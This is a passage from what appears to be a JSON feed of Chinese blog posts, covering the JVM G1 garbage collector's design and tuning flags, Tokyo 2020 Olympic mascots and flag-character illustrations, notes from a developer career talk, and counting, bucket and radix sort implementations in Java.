GarbageCollector）。JDK 9服务端模式下的默认垃圾收集器，而CMS则沦落至被声明为不推荐使用（Deprecate）的收集器。本文将对G1进行简单的介绍。\n一 回顾G1之前的垃圾收集器(经典垃圾收集器)\n上图展示了七种作用于不同分代的收集器，如果两个收集器之间存在连线，就说明它们可以搭配使用，图中收集器所处的区域，则表示它是属于新生代收集器抑或是老年代收集器。\n对以上除G1外的收集器进行下简单介绍：\n1 Serial收集器\nSerial 新生代收集器 单线程工作的收集器 使用复制算法 Serial Old是Serial收集器的老年代版本 单线程收集器，使用标记-整理算法 Serial/Serial Old收集器运行示意图\n2 ParNew 收集器\n新生代收集器，就是Serial收集器的多线程版本。除了serial收集器外，目前只有它能与CMS收集器配合工作。 ParNew/Serial Old收集器运行示意图\n3 Parallel Scavenge收集器\n新生代收集器，基于标记-复制算法实现，也是能够并行收集的多线程收集器\n自适应调节策略是Parallel Scavenge收集器与ParNew收集器的一个重要区别\n-XX:+UseAdaptiveSizePolicy是一个开关参数，当这个参数打开之后，就不需要手工指定新生代的大小（-Xmn）、Eden与Survivor区的比例（-XX:SurvivorRatio）、晋升老年代对象年龄（-XX:PretenureSizeThreshold）等细节参数了，虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或最大的吞吐量，这种调节方式称为GC自适应的调节策略（GC Ergonomics）。 更关注可控制的吞吐量 Throughput\n如果虚拟机完成某个任务，用户代码加上垃圾收集总共耗费了100分钟，其中垃圾收集花掉1分钟，那吞吐量就是99%\n应用场景(高吞吐量为目标，即减少垃圾收集时间，让用户代码获得更长的运行时间)\n高吞吐量可以最高效率的利用CPU时间，尽快的完成程序的运算任务等，当应用程序运行在具有多个CPU上，对暂停时间没有特别高的要求时，即程序主要在后台进行计算，而不需要与用户进行太多交互；例如，那些执行批量处理、订单处理、工资支付、科学计算的应用程序（停顿时间越短就越适合需要与用户交互或需要保证服务响应质量的程序，良好的响应速度能提升用户体验，此种场景CMS效果更好）\n4 Parallel Old 收集器\nParallel Old是Parallel Scavenge收集器的老年代版本，支持多线程并发收集，基于标记-整理算法实现。 Parallel Scavenge/Parallel Old收集器运行示意图\n4 CMS 收集器\nCMS（Concurrent Mark Sweep）收集器是一种以获取最短回收停顿时间为目标的收集器。 目前很大一部分的Java应用集中在互联网网站或者基于浏览器的B/S系统的服务端上，这类应用通常都会较为关注服务的响应速度，希望系统停顿时间尽可能短，以给用户带来良好的交互体验。CMS收集器就非常符合这类应用的需求。从名字（包含“Mark Sweep”）上就可以看出CMS收集器是基于标记-清除算法实现的，它的运作过程相对于前面几种收集器来说要更复杂一些，整个过程分为四个步骤，包括：\n初始标记（CMS initial mark）\n并发标记（CMS concurrent mark）\n重新标记（CMS remark）\n并发清除（CMS concurrent sweep）\n其中初始标记、重新标记这两个步骤仍然需要“Stop The World”。初始标记仅仅只是标记一下GC Roots能直接关联到的对象，速度很快；并发标记阶段就是从GC Roots的直接关联对象开始遍历整个对象图的过程，这个过程耗时较长但是不需要停顿用户线程，可以与垃圾收集线程一起并发运行；而重新标记阶段则是为了修正并发标记期间，因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录，这个阶段的停顿时间通常会比初始标记阶段稍长一些，但也远比并发标记阶段的时间短；最后是并发清除阶段，清理删除掉标记阶段判断的已经死亡的对象，由于不需要移动存活对象，所以这个阶段也是可以与用户线程同时并发的。\nConcurrent Mark Sweep收集器运行示意图\nCMS是老年代垃圾收集器，在收集过程中可以与用户线程并发操作。它可以与Serial收集器和Parallel New收集器搭配使用。CMS牺牲了系统的吞吐量来追求收集速度，适合追求垃圾收集速度的服务器上。\nCMS是一款基于标记-清除算法实现的收集器，这意味着收集结束时会有大量空间碎片产生\n在2019年12月，已经被最新的JDK移除了（https://openjdk.java.net/jeps/363）\n二 初识G1\n下面这个是G1的官方文档，想学习G1垃圾回收器的，看官方文档是最靠谱的 https://docs.oracle.com/javase/9/gctuning/garbage-first-garbage-collector.htm#JSGCT-GUID-ED3AB6D3-FD9B-4447-9EDF-983ED2F7A573\nG1的发展历史：\n2004年发布的那篇论文在这里：http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.63.6386\u0026amp;rep=rep1\u0026amp;type=pdf\n2017年，G1成为jdk9之后默认的垃圾收回器了\n三 为什么需要G1？\nHotspot之前已经携带了Serial, Paralel, CMS等收集器，为什么还需要研发一个新的G1呢？垃圾收集的三个性能指标: footprint（内存占用）, max pause time（最大停顿时间）, throughput（吞吐量）似乎像CAP一样不能同时满足。在服务端更注重的是短停顿时间，也就是stop-the-world的时间，一段时间内的总停顿时间也是一个衡量指标。Mark-Sweep, Mark-Compact均需要和清理区域大小成比例的工作量，而Copying算法则需要一般是一半的空间用于存放每次copy的活对象。CMS的Initial Marking和Remarking两个STW阶段在Heap区越来越大的情况下需要的时间越长，并且由于内存碎片，需要压缩的话也会造成较长停顿时间。**所以需要一种高吞吐量的短暂停时间的收集器，而不管堆内存多大**（*现代的堆越来越大了，32G，64G的很平常*）。 而G1正是达成了这种目标的垃圾收集器，它在官方文档是这样描述的：\n“Garbage-First（G1）垃圾收集器的目标是具有大量内存的多处理器计算机。 它尝试以极高的可能性满足垃圾收集暂停时间目标，同时几乎不需要配置即可实现高吞吐量。G1的目标是使用当前的目标应用程序和环境在延迟和吞吐量之间达到最佳平衡，其特点包括：\n堆大小最大为 10 GB或更大，其中超过 50％ 的Java堆占用实时数据。\n对象分配和升级的速率可能会随时间而显着变化。\n堆中有大量碎片。\n可预测的暂停时间目标不超过几百毫秒，避免了长时间的垃圾收集暂停。\nG1取代了并发标记清除（CMS）收集器。 它也是默认的收集器。”\n四 内存布局\n传统的GC收集器将连续的内存空间划分为新生代、老年代和永久代（JDK 8去除了永久代，引入了元空间Metaspace） G1的内存布局已经完全不一样了\n如上图所示，G1将堆分成若干个等大的区域（region）。每个Region占有一块连续的虚拟内存地址.每个Region的大小可以通过参数-XX：G1HeapRegionSize设定，取值范围为1MB～32MB，且应为2的N次幂。默认将整堆划分为2048个分区。\n新年代和老年代不再物理隔离，都是逻辑概念。在G1中有一种特殊的区域，叫Humongous区域。如果一个对象占用的空间超过了Region容量50%以上，G1收集器就认为这是一个巨型对象。G1划分了一个Humongous区，它用来专门存放巨型对象。如果一个H区装不下一个巨型对象，那么G1会寻找连续的H分区来存储。G1的大多数行为都把Humongous Region作为老年代的一部分来进行看待。\n每一个Region都可以根据需要，扮演新生代的Eden空间、Survivor空间，或者老年代空间。收集器能够对扮演不同角色的Region采用不同的策略去处理，这样无论是新创建的对象还是已经存活了一段时间、熬过多次收集的旧对象都能获取很好的收集效果。\n五 内部细节\nG1收集器之所以能建立可预测的停顿时间模型，是因为它将Region作为单次回收的最小单元，即每次收集到的内存空间都是Region大小的整数倍，这样可以有计划地避免在整个Java堆中进行全区域的垃圾收集。更具体的处理思路是让G1收集器去跟踪各个Region里面的垃圾堆积的“价值”大小，价值即回收所获得的空间大小以及回收所需时间的经验值，然后在后台维护一个优先级列表，每次根据用户设定允许的收集停顿时间（使用参数-XX：MaxGCPauseMillis指定，默认值是200毫秒），优先处理回收价值收益最大的那些Region，这也就是“Garbage First”名字的由来。这种使用Region划分内存空间，以及具有优先级的区域回收方式，保证了G1收集器在有限的时间内获取尽可能高的收集效率。 但有一些问题需要解决，比如：\n1 将Java堆分成多个独立Region后，Region里面存在的跨代或跨Region引用对象如何解决？\n这里我们引入两个概念\n1）Card Table ,Region内部的数据结构，每个 Region 有多每个大小为512字节的 card ，例如我们的一个Region是 1M，那么这个Region中应该有2000张卡。\n2）Remebered Set (RS)\n如上图所示，有3个Region,每个Region都有一个对应的Rset。蓝色竖条就是Card。\nRSet记录了其他Region中的对象引用本Region中对象的关系，属于points-into结构（谁引用了我的对象）。比如Region2的RSet中记录着Region1和Region3都引用了它的对象。\n而Card Table则是一种points-out（我引用了谁的对象）的结构，每个Card 覆盖一定范围的Heap（一般为512Bytes）。G1的RSet是在Card Table的基础上实现的：每个Region会记录下别的Region有指向自己的指针，并标记这些指针分别在哪些Card的范围内。这个RSet其实是一个Hash Table，Key是别的Region的起始地址，Value是一个集合，里面的元素是Card Table的Index。\n例如，当回收Region2的时候，发现Region2的RSet中有Region1和Region3的两个card在引用它。这时候只需要扫描那两张card里的对象就可以了。这是一种典型的空间换时间的方法，避免了整个堆的扫描，提高效率。你看这个名字，Remebered Set “记住谁引用了我，以后我垃圾回收的时候，我好找它去 ！” 3）Cset\n收集集合(CSet)代表每次GC暂停时回收的一系列目标分区。在任意一次收集暂停中，CSet所有分区都会被释放，内部存活的对象都会被转移到分配的空闲分区中。因此无论是年轻代收集，还是混合收集，工作的机制都是一致的。年轻代收集CSet只容纳年轻代分区，而混合收集会通过启发式算法，在老年代候选回收分区中，筛选出回收收益最高的分区添加到CSet中。 一个card的内存中通常包含不止一个对象，只要卡页内有一个（或更多）对象的字段存在着跨代指针，那就将对应卡表的数组元素的值标识为1，称为这个元素变脏（Dirty），没有则标识为0。在垃圾收集发生时，只要筛选出卡表中变脏的元素，就能轻易得出哪些卡页内存块中包含跨代指针，把它们加入GC Roots中一并扫描。我们已经解决了如何使用记忆集来缩减GC Roots扫描范围的问题，但还没有解决卡表元素如何维护的问题，例如它们何时变脏、谁来把它们变脏等。答案是:Write barrier\n我们首先介绍一下栅栏(Barrier)的概念。栅栏是指在原生代码片段中，当某些语句被执行时，栅栏代码也会被执行（用过Spring AOP的秒懂）。而G1主要在赋值语句中，使用写前栅栏(Pre-Write Barrrier)和写后栅栏(Post-Write Barrrier)。\n写前栅栏 Pre-Write Barrrier\n即将执行一段赋值语句时，等式左侧对象将修改引用到另一个对象，那么等式左侧对象原先引用的对象所在分区将因此丧失一个引用，那么JVM就需要在赋值语句生效之前，记录丧失引用的对象。JVM并不会立即维护RSet，而是通过批量处理，在将来RSet更新\n写后栅栏 Post-Write Barrrier\n当执行一段赋值语句后，等式右侧对象获取了左侧对象的引用，那么等式右侧对象所在分区的RSet也应该得到更新。同样为了降低开销，写后栅栏发生后，RSet也不会立即更新，同样只是记录此次更新日志，在将来批量处理。\n2 在并发标记阶段如何保证收集线程与用户线程互不干扰地运行？\nG1收集器运行示意图\n这里要解决的是用户线程改变对象引用关系时，必须保证其不能打破原本的对象图结构，导致标记结果出现错误。G1收集器是通过原始快照（SATB）算法来实现的。\nSATB全称是Snapshot-At-The-Beginning，由字面理解，是GC开始时活着的对象的一个快照。它是通过Root Tracing得到的，作用是维持并发GC的正确性。那么它是怎么维持并发GC的正确性的呢？根据三色标记算法：\n把遍历对象图过程中遇到的对象，按照“是否访问过”这个条件标记成以下三种颜色\n白：对象没有被标记到，标记阶段结束后，会被当做垃圾回收掉。\n灰：对象被标记了，但是它的field还没有被标记或标记完。\n黑：对象被标记了，且它的所有field也被标记完了。\n如果用户线程与收集器是并发工作，收集器在对象图上标记颜色，同时用户线程在修改引用关系——即修改对象图的结构，这样可能出现两种后果。一种是把原本消亡的对象错误标记为存活，这不是好事，但其实是可以容忍的，只不过产生了一点逃过本次收集的浮动垃圾而已，下次收集清理掉就好。另一种是把原本存活的对象错误标记为已消亡，这就是非常致命的后果了，程序肯定会因此发生错误，下面表演示了这样的致命错误具体是如何产生的。\nWilson于1994年在理论上证明了，当且仅当以下两个条件同时满足时，会产生“对象消失”的问题，即原本应该是黑色的对象被误标为白色：\n赋值器插入了一条或多条从黑色对象到白色对象的新引用；\n赋值器删除了全部从灰色对象到该白色对象的直接或间接引用。\n因此，我们要解决并发扫描时的对象消失问题，只需破坏这两个条件的任意一个即可。由此分别产生了两种解决方案：增量更新（Incremental Update）和原始快照（Snapshot At TheBeginning，SATB）。\n增量更新要破坏的是第一个条件，当黑色对象插入新的指向白色对象的引用关系时，就将这个新插入的引用记录下来，等并发扫描结束之后，再将这些记录过的引用关系中的黑色对象为根，重新扫描一次。这可以简化理解为，黑色对象一旦新插入了指向白色对象的引用之后，它就变回灰色对象了。\n**原始快照要破坏的是第二个条件，当灰色对象要删除指向白色对象的引用关系时，就将这个要删除的引用记录下来，在并发扫描结束之后，再将这些记录过的引用关系中的灰色对象为根，重新扫描一次。**这也可以简化理解为，无论引用关系删除与否，都会按照刚刚开始扫描那一刻的对象图快照来进行搜索。\n以上无论是对引用关系记录的插入还是删除，虚拟机的记录操作都是通过写屏障实现的。在HotSpot虚拟机中，增量更新和原始快照这两种解决方案都有实际应用，譬如，CMS是基于增量更新来做并发标记的，G1、Shenandoah则是用原始快照来实现。\n简单总结：SATB是在并发收集周期的第一个阶段（初始标记）是STW的，会给所有的分区做个快照，后面的扫描都是按照这个快照进行；在并发标记周期的第二个阶段，并发标记，这是收集线程和应用线程同时进行的，这时候应用线程就可能修改了某些引用的值，导致上面那个快照不是完整的，因此G1就想了个办法，我把在这个期间对对象引用的修改都记录动作都记录下来，有点像mysql的操作日志。\n3 怎样建立起可靠的停顿预测模型？\n用户通过-XX：MaxGCPauseMillis参数指定的停顿时间只意味着垃圾收集发生之前的期望值，但G1收集器要怎么做才能满足用户的期望呢？G1收集器的停顿预测模型是以衰减均值（Decaying Average）为理论基础来实现的，在垃圾收集过程中，G1收集器会记录每个Region的回收耗时、每个Region记忆集里的脏卡数量等各个可测量的步骤花费的成本，并分析得出平均值、标准偏差、置信度等统计信息。这里强调的“衰减平均值”是指它会比普通的平均值更容易受到新数据的影响，平均值代表整体平均状态，但衰减平均值更准确地代表“最近的”平均状态。换句话说，Region的统计状态越新越能决定其回收的价值。然后通过这些信息预测现在开始回收的话，由哪些Region组成回收集才可以在不超过期望停顿时间的约束下获得最高的收益。 六 GC收集\n**和一般的分代式收集不同，G1中除了普通的Young GC，还有Mixed GC。** Young Garbage Collection 当Eden区域无法申请新的对象时（满了），就会进行Young GC, Young GC将Eden和Survivor区域的Region(称为Collection Set, CSet)中的活对象Copy到一些新Region中(即新的Survivor)，当对象的GC年龄达到阈值后会Copy到Old Region中。由于采取的是Copying算法，所以就避免了内存碎片的问题，不再需要单独的压缩。\nMixed Garbage Collection G1对于老年代的GC比较特殊，本质上不是只针对老年代，也有部分年轻代，所以又叫MixGC。当old区Heap的对象占总Heap的比例超过InitiatingHeapOccupancyPercent之后，就会开始ConcurentMarking, 完成了Concurrent Marking后，G1会从Young GC切换到Mixed GC, 在Mixed GC中，G1可以增加若干个Old区域的Region到CSet中。Mixed GC的次数根据候选的Old CSet和每次回收的。来看下过程： 初次标记，也是标记GCroot直接引的对象和所在Region，但是与CMS不同的是，这里不止标记O区。注意初次标记一般和YGC同时发生，利用YGC的STW时间，顺带把这事给干了。日志格式如下 1[GC pause (G1 Evacuation Pause) (young) (initial-mark), 0.0062656 secs] RootRegion扫描，扫描GCroot所在的region到Old区的引用。日志格式 11.362: [GC concurrent-root-region-scan-start] 21.364: [GC concurrent-root-region-scan-end, 0.0028513 secs] 并发标记，类似CMS，但是标记的是整个堆，而不是只有O区。这期间如果发现某个region所有对象都是\u0026rsquo;垃圾\u0026rsquo;则标记为X。日志格式 11.364: [GC concurrent-mark-start] 21.645: [GC concurrent-mark-end, 0.2803470 secs] 重新标记，类似CMS，但也是整个堆，并且上一步中的X区被删除。另外采用了初始标记阶段的SATB，重新标记的速度变快。日志格式 11.645: [GC remark 1.645: [Finalize Marking, 0.0009461 secs] 1.646: [GC ref-proc, 0.0000417 secs] 1.646: [Unloading, 0.0011301 secs], 0.0074056 secs] 2[Times: user=0.01 sys=0.00, real=0.01 secs] 复制/清理，选择所有Y区reigons和\u0026rsquo;对象存活率较低\u0026rsquo;的O区regions组成Csets，进行复制清理。日志格式： 11.652: [GC cleanup 1213M-\u0026gt;1213M(1885M), 0.0030492 secs] 2[Times: user=0.01 sys=0.00, real=0.00 secs] Full GC 和CMS一样，G1的一些收集过程是和应用程序并发执行的，所以可能还没有回收完成，是由于申请内存的速度比回收速度快，新的对象就占满了所有空间，在CMS中叫做Concurrent Mode Failure, 在G1中称为Allocation Failure，也会降级为一个STW的fullgc。 七 最佳实践\n不要设置年轻代的大小 通过-Xmn显式设置年轻代的大小，会干扰G1收集器的默认行为： 1）G1不再以设定的暂停时间为目标，换句话说，如果设置了年轻代的大小，就无法实现自适应的调整来达到指定的暂停时间这个目标 2） G1不能按需扩大或缩小年轻代的大小 响应时间度量 不要根据平均响应时间（ART）来设置-XX:MaxGCPauseMillis=n这个参数，应该设置希望90%的GC都可以达到的暂停时间。这意味着90%的用户请求不会超过这个响应时间，记住，这个值是一个目标，但是G1并不保证100%的GC暂停时间都可以达到这个目标 八 G1 GC的参数选项\n参数名含义默认值-XX:+UseG1GC使用G1收集器JDK1.8中还需要显式指定-XX:MaxGCPauseMillis=n设置一个期望的最大GC暂停时间，这是一个柔性的目标，JVM会尽力去达到这个目标200-XX:InitiatingHeapOccupancyPercent=n当整个堆的空间使用百分比超过这个值时，就会触发一次并发收集周期，记住是整个堆45-XX:NewRatio=n新生代和老年代的比例2\n-XX:SurvivorRatio=nEden空间和Survivor空间的比例8\n-XX:MaxTenuringThreshold=n对象在新生代中经历的最多的新生代收集，或者说最大的岁数G1中是15-XX:ParallelGCThreads=n设置垃圾收集器的并行阶段的垃圾收集线程数不同的平台有不同的值-XX:ConcGCThreads=n设置垃圾收集器并发执行GC的线程数n一般是ParallelGCThreads的四分之一-XX:G1ReservePercent=n设置作为空闲空间的预留内存百分比，以降低目标空间溢出（疏散失败）的风险。默认值是 10%。增加或减少这个值，请确保对总的 Java 堆调整相同的量10\n-XX:G1HeapRegionSize=n分区的大小堆内存大小的1/2000，单位是MB，值是2的幂，范围是1MB到32MB之间-XX:G1HeapWastePercent=n设置您愿意浪费的堆百分比。如果可回收百分比小于堆废物百分比，JavaHotSpotVM不会启动混合垃圾回收周期（注意，这个参数可以用于调整混合收集的频率）。JDK1.8是5-XX:G1MixedGCCountTarget=8设置并发周期后需要执行多少次混合收集，如果混合收集中STW的时间过长，可以考虑增大这个参数。（注意：这个可以用来调整每次混合收集中回收掉老年代分区的多少，即调节混合收集的停顿时间）8\n-XX:G1MixedGCLiveThresholdPercent=n一个分区是否会被放入mix GC的CSet的阈值。对于一个分区来说，它的存活对象率如果超过这个比例，则改分区不会被列入mixed gc的CSet中JDK1.6和1.7是65，JDK1.8是85 参考资料：\nhttps://github.com/gaoxingliang/goodutils/blob/master/gc_handbook_zh.md\nhttps://docs.oracle.com/javase/9/gctuning/\ngarbage-first-garbage-collector.htm#JSGCT-GUID-C268549C-7D95-499C-9B24-A6670B44E49C\nhttps://www.oracle.com/technetwork/tutorials/tutorials-1876574.html\nhttps://tech.meituan.com/2016/09/23/g1.html\nhttp://www.javaadu.online/?p=465\nhttps://www.bilibili.com/video/av89885794?t=713\u0026p=2\nhttps://ouyblog.com/2018/04/G1%E6%94%B6%E9%9B%86%E5%99%A8\n关注公众号 获取更多精彩内容\n","date":"2020-02-24T15:59:55Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-24-jvm-g1-garbage-first-la-ji-shou-ji-qi-qian-xi/cover.jpg","permalink":"/p/2020-02-24-jvm-g1-garbage-first-la-ji-shou-ji-qi-qian-xi/","title":"JVM G1(Garbage First)垃圾收集器浅析"},{"content":"\n这次中国爆发疫情，日本民间和官方几乎最快伸出了援手。希望这次的疫情不会为奥运带来影响，能够如期举行。\n山 川 异 域 ，风 月同 天\n第三十二届夏季奥林匹克运动会 将于2020年7月24日至8月9日在日本东京举行。这是东京继1964年，56年后再次主办夏季奥运会，也是日本第4次举办奥运会，也使东京成为目前唯一举办兩次夏季奥运的亚洲城市。\n奥运会和残奥会会徽 长这样：\n吉祥物长这样:\n蓝色的“miraitowa”的中文意思是未来永恒，寓意着未来永远充满希望的美好含义，他是以日本机器人为原型设计出的，体现出未来科技感。\n粉色的残奥会吉祥物“someity”，是以日本的一种樱花为原型设计的，名字对应着英文“so mighty”，即如此强大，寓意着把坚强坚韧的力量带给大家。someity的技能是用眼睛移动物体,耳朵是樱花花瓣状，与头上的残奥会会徽相呼应。\n还有动画\n奥运会最瞩目的设计要数火炬了，火炬设计采用了日本樱花元素，整个火炬犹如一朵盛开中的粉色樱花。每年3月，都是日本的最美的樱花季。\n国际奥委会体育总监麦康奈尔表示，东京奥运的比赛细项将由里约奥运的306个增至321个\n前段时间刷屏的全球各国国旗吉祥物大家一定还印象深刻吧？这是在日本一个介绍国旗趣味知识的网站，以武士、僧侣等日本传统职业的服饰，配上各国国旗的元素和文化，设计出了相对应的动画形象。我们这次来个比较全的。\n国 旗 二 次 元 设 计 . 大 赏\n亚洲部分国家\n中国\n老挝\n缅甸\n柬埔寨\n印度\n马来西亚\n孟加拉\n菲律宾\n泰国\n新加坡\n越南\n印度尼西亚\n韩国\n日本\n非洲部分国家\n喀麦隆\n塞内加尔\n科特迪瓦\n尼日利亚\n南非\n中东部分国家\n土耳其 阿拉伯联合酋长国\n大洋洲部分国家\n瑙鲁共和国\n新西兰\n澳大利亚\n美洲部分国家\n墨西哥\n阿根廷\n秘鲁\n加拿大\n牙买加\n智利\n美国\n巴西\n玻利维亚\n古巴\n厄瓜多尔\n委内瑞拉\n乌拉圭\n尼加拉瓜\n洪都拉斯\n哥伦比亚\n欧洲部分国家\n意大利\n法国\n瑞典\n大不列颠及北爱尔兰联合王国\n比利时\n俄罗斯\n瑞士\n爱尔兰\n德意志联邦共和国\n奥地利\n罗马尼亚\n西班牙\n丹麦\n波兰\n希腊\n葡萄牙\n冰岛\n阿尔巴尼亚\n芬兰\n匈牙利\n摩纳哥\n荷兰\n挪威\n说实话，收集这些国旗人物有种小时候收集小浣熊水浒英雄卡的感觉\n此外，人家还把这些图出了本书，可以在Amazon 买到（https://www.amazon.co.jp/%E3%83%AF%E3%83%BC%E3%83%AB%E3%83%89%E3%83%95%E3%83%A9%E3%83%83%E3%82%B0%E3%82%B9-%E4%B8%96%E7%95%8C196%E3%82%AB%E5%9B%BD%E5%AE%8C%E5%85%A8%E3%83%87%E3%83%BC%E3%82%BF%E5%9B%B3%E9%91%91/dp/4800299144/ref=as_li_ss_tl?ie=UTF8\u0026amp;linkCode=sl1\u0026amp;tag=kotakota26-22\u0026amp;linkId=31dbad16b6e008b3dd42ff8da826e9b9\u0026amp;language=ja_JP）\n关注公众号 获取更多精彩内容\n","date":"2020-02-22T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-22-dong-jing-ao-yun-hui-ni-xiang-zhi-dao-de-dou-zai-zhe-li/cover.jpg","permalink":"/p/2020-02-22-dong-jing-ao-yun-hui-ni-xiang-zhi-dao-de-dou-zai-zhe-li/","title":"东京奥运会，你想知道的都在这里"},{"content":"\n昨天看了左耳朵耗子在极客时间的直播，标题就是 **直面问题，谈焦虑，谈烦恼，谈怎么成长。**这里整理一下主要讲的问题，以及强调的重点。\n语言方面，他认为，java不会被go取代，但go是门很有潜力的语言很可能会火起来。对职业程序员来说，可以用它来当赚钱工具。\n前端方面，他认为，现有的前端技术没什么前途，前端更高的格局是在UI、UX\n关于基础知识的学习，耗子叔认为由于东西很多，需要投入5-6年的时间投入，理论+实践+坚持（才会有沉淀）。是的，没有捷径，难的东西需要慢慢啃，但你不会后悔，时候到了你就不会焦虑了，也不担心裁员、失业，会有人抢你的！\n如果你在工作中经常被别人打断，可以变被动为主动：\n比如被IM上备注今天上午10点到12点需要处理个问题，不会回复任何人消息。\n比如产品经理打断你时，你可以问他X,Y问题（https://coolshell.cn/articles/10804.html），大概能帮你挡掉70%的问题。\n\u0026hellip;\u0026hellip;\n关注公众号 获取更多精彩内容\n","date":"2020-02-21T16:02:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-21-zhi-mian-wen-ti-tan-jiao-l-tan-fan-nao-tan-zen-me-cheng-zhan/cover.jpg","permalink":"/p/2020-02-21-zhi-mian-wen-ti-tan-jiao-l-tan-fan-nao-tan-zen-me-cheng-zhan/","title":"直面问题，谈焦虑，谈烦恼，谈怎么成长"},{"content":"\n这是本系列的最后一篇文章，接前文\n十大经典排序算法（一）\n十大经典排序算法（二）\n十大经典排序算法（三）\n8 计数排序（Counting Sort）\n计数排序不是基于比较的排序算法，其核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。作为一种线性时间复杂度的排序，计数排序要求输入的数据必须是有确定范围的整数。\n计数排序是一个稳定的排序算法。当输入的元素是 n 个 0到 k 之间的整数时，时间复杂度是O(n+k)，空间复杂度也是O(n+k)，其排序速度快于任何比较排序算法。当k不是很大并且序列比较集中时，计数排序是一个很有效的排序算法。\n算法描述 找出待排序的数组中最大和最小的元素；\n统计数组中每个值为i的元素出现的次数，存入数组C的第i项；\n对所有的计数累加（从C中的第一个元素开始，每一项和前一项相加）；\n反向填充目标数组：将每个元素i放在新数组的第C(i)项，每放一个元素就将C(i)减去1。\n动图演示 代码实现 1public class CountingSort implements IArraySort { 2 3 @Override 4 public int[] sort(int[] sourceArray) throws Exception { 5 // 对 arr 进行拷贝，不改变参数内容 6 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 7 8 int maxValue = getMaxValue(arr); 9 10 return countingSort(arr, maxValue); 11 } 12 13 private int[] countingSort(int[] arr, int maxValue) { 14 int bucketLen = maxValue + 1; 15 int[] bucket = new int[bucketLen]; 16 17 for (int value : arr) { 18 bucket[value]++; 19 } 20 21 int sortedIndex = 0; 22 for (int j = 0; j \u0026lt; bucketLen; j++) { 23 while (bucket[j] \u0026gt; 0) { 24 arr[sortedIndex++] = j; 25 bucket[j]--; 26 } 27 } 28 return arr; 29 } 30 31 private int getMaxValue(int[] arr) { 32 int maxValue = arr[0]; 33 for (int value : arr) { 34 if (maxValue \u0026lt; value) { 35 maxValue = value; 36 } 37 } 38 return maxValue; 39 } 40 41} 42 43```java 44 45计数排序是一个稳定的排序算法。当输入的元素是 n 个 0到 k 之间的整数时，时间复杂度是O(n+k)，空间复杂度也是O(n+k)，其排序速度快于任何比较排序算法。当k不是很大并且序列比较集中时，计数排序是一个很有效的排序算法。 46 47### 9 桶排序（Bucket Sort） 48 49桶排序是计数排序的升级版。它利用了函数的映射关系，高效与否的关键就在于这个映射函数的确定。桶排序 (Bucket sort)的工作的原理：假设输入数据服从均匀分布，将数据分到有限数量的桶里，每个桶再分别排序（有可能再使用别的排序算法或是以递归方式继续使用桶排序进行排）。 50 51为了使桶排序更加高效，我们需要做到这两点： 52 53- 在额外空间充足的情况下，尽量增大桶的数量 54 55- 使用的映射函数能够将输入的 N 个数据均匀的分配到 K 个桶中 56 57同时，对于桶中元素的排序，选择何种比较排序算法对于性能的影响至关重要。 58 59#### 算法描述 60 61- 设置一个定量的数组当作空桶； 62 63- 遍历输入数据，并且把数据一个一个放到对应的桶里去； 64 65- 对每个不是空的桶进行排序； 66 67- 从不是空的桶里把排好序的数据拼接起来。 68 69#### 动图演示 70 71![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-21-shi-da-jing-dian-pai-xu-suan-fa-si/003-045d49fe.gif) 72 73#### 代码实现 74 75```cs 76public class BucketSort implements IArraySort { 77 78 private static final InsertSort insertSort = new InsertSort(); 79 80 @Override 81 public int[] sort(int[] sourceArray) throws Exception { 82 // 对 arr 进行拷贝，不改变参数内容 83 int[] arr = Arrays.copyOf(sourceArray, sourceArray.length); 84 85 return bucketSort(arr, 5); 86 } 87 88 private int[] bucketSort(int[] arr, int bucketSize) throws Exception { 89 if (arr.length == 0) { 90 return arr; 91 } 92 93 int minValue = arr[0]; 94 int maxValue = arr[0]; 95 for (int value : arr) { 96 if (value \u0026lt; minValue) { 97 minValue = value; 98 } else if (value \u0026gt; maxValue) { 99 maxValue = value; 100 } 101 } 102 103 int bucketCount = (int) Math.floor((maxValue - minValue) / bucketSize) + 1; 104 int[][] buckets = new int[bucketCount][0]; 105 106 // 利用映射函数将数据分配到各个桶中 107 for (int i = 0; i \u0026lt; arr.length; i++) { 108 int index = (int) Math.floor((arr[i] - minValue) / bucketSize); 109 buckets[index] = arrAppend(buckets[index], arr[i]); 110 } 111 112 int arrIndex = 0; 113 for (int[] bucket : buckets) { 114 if (bucket.length \u0026lt;= 0) { 115 continue; 116 } 117 // 对每个桶进行排序，这里使用了插入排序 118 bucket = insertSort.sort(bucket); 119 for (int value : bucket) { 120 arr[arrIndex++] = value; 121 } 122 } 123 124 return arr; 125 } 126 127 /** 128 * 自动扩容，并保存数据 129 * 130 * @param arr 131 * @param value 132 */ 133 private int[] arrAppend(int[] arr, int value) { 134 arr = Arrays.copyOf(arr, arr.length + 1); 135 arr[arr.length - 1] = value; 136 return arr; 137 } 138 139} 140 141```java 142 143什么时候最快? 144 145当输入的数据可以均匀的分配到每一个桶中。 146 147什么时候最慢? 148 149当输入的数据被分配到了同一个桶中。 150 151### 10 基数排序（Radix Sort） 152 153基数排序是一种非比较型整数排序算法，其原理是将整数按位数切割成不同的数字，然后按每个位数分别比较。由于整数也可以表达字符串（比如名字或日期）和特定格式的浮点数，所以基数排序也不是只能使用于整数。 154 155基数排序是按照低位先排序，然后收集；再按照高位排序，然后再收集；依次类推，直到最高位。有时候有些属性是有优先级顺序的，先按低优先级排序，再按高优先级排序。最后的次序就是高优先级高的在前，高优先级相同的低优先级高的在前。 156 157#### 算法描述 158 159- 取得数组中的最大数，并取得位数； 160 161- arr为原始数组，从最低位开始取每个位组成radix数组； 162 163- 对radix进行计数排序（利用计数排序适用于小范围数的特点） 164 165#### 动图演示 166 167![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-02-21-shi-da-jing-dian-pai-xu-suan-fa-si/004-21d2abbc.gif) 168 169#### 代码实现 170 171```cs 172/** 173 * 基数排序 174 * 考虑负数的情况还可以参考： https://code.i-harness.com/zh-CN/q/e98fa9 175 */ 176public class RadixSort implements IArraySort { 177 178 @Override 179 